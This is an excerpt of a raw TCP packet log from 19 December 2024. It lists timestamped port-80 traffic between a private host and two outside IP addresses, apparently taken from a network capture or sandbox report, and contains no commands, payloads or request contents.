Dec 19, 2024 08:09:32.825644016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.825701952 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.825800896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.825835943 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.826620102 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.826658010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.826726913 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.826783895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.828039885 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.828052044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.828078032 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.828102112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.828851938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.829125881 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.829169035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.829893112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.829936981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.830009937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.830046892 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.831221104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.831274033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.831464052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.831499100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.832107067 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.832144976 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.832171917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.832206964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.833277941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.837100983 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.852381945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.863790989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.863805056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.863871098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.864025116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.864113092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.864161968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.864945889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.865081072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.865120888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.865701914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.865791082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.865837097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.866540909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.866662025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.866728067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.867468119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.867512941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.868416071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.868454933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.868484020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.868777990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.869297028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.869401932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.869437933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.870193958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.870296001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.870331049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.871098042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.871207952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.872016907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.872054100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.872108936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.872770071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.872929096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.873033047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.873061895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.873837948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.873943090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.873980999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.874739885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.874809027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.875303030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.875341892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.875407934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.876070976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.876215935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.876331091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.876610994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.877202034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.887573004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.887681007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.887793064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.888022900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.888151884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.888190985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.888964891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.888978958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.889015913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.889832973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.889868021 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.889934063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.890773058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.890809059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.890901089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.891649008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.891685963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.891752005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.892554045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.892651081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.892684937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.893470049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.893632889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.893663883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.894366980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.894447088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.894483089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.895412922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.895452976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.950537920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.951152086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.951245070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.951642036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.951689959 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.951756001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.952579975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.952630997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.952644110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.952686071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.953437090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.953530073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.953581095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.954336882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.954457998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.954511881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.955249071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.955352068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.955400944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.956162930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.956278086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.956331968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.957093000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.957154989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.957202911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.957979918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.958081007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.958956003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.959012032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.959028959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.959795952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.959815025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.959845066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.959881067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.960828066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.960839033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.960886002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.961616039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.961736917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.961785078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.962527037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.962608099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.963458061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.963473082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.963613987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.963661909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.964330912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.964438915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.964694977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.965358019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.965426922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.965480089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.967998981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.968079090 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.968127966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.968601942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.968638897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.968641043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.968682051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.969686985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.969743967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.969830036 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.969866991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.970884085 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.970936060 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.970990896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.971025944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.971853018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.971951962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.971985102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.972932100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.972970963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.972980022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.973015070 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.974051952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.974104881 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.974138975 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.974181890 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.975161076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.975243092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.975292921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.976210117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.976342916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.976392984 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.977353096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.977365017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.977411985 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.978404045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.978451014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.978482008 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.978522062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.979479074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.979518890 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.979531050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.979569912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.980576992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.980628014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.980674028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.981158018 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.981708050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.981765032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.981769085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.981806993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.982738018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.982789993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.982862949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.982911110 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.983855963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.983973026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.984047890 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.984961987 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.985016108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.985064030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.985094070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.985152006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.985203028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.985536098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.985733032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.985781908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.985793114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.986022949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.986088037 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.986133099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.986643076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.986685991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.986726046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.987133026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.987236023 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.987329006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.987502098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.987540960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.987724066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.988198042 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.988255978 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.988320112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.988378048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.988426924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.988483906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.988542080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.989412069 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.989470959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.989475012 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.989485979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.989514112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.989531994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.989535093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.990268946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.990312099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.990349054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.990428925 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.990442038 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.990472078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.990487099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.991178989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.991286993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.991333961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.991513014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.991525888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.991555929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.992083073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.992188931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.992233038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.992580891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.992674112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.992721081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.992981911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.993026018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.993094921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.993671894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.993724108 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.993761063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.993804932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.993905067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.993944883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.993978977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.994775057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.994812965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.994826078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.994872093 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.994925022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.994949102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.995713949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.995759964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.995830059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.995882988 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.995896101 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.995935917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.996587038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.996633053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.996952057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.997060061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.997112036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.998080969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.998138905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.998168945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.998214960 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.999139071 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.999186039 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.999231100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.999273062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.000231981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.000276089 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.000300884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.000349045 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.001357079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.001420021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.001472950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.001518965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.002450943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.002535105 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.002571106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.002607107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.003521919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.003617048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.003652096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.003691912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.004615068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.004730940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.004762888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.004772902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.005682945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.005722046 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.005788088 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.005834103 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.006768942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.006822109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.006886959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.006927013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.007884026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.007925987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.007952929 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.008171082 CET	49858	80	192.168.2.6	31.41.244.11
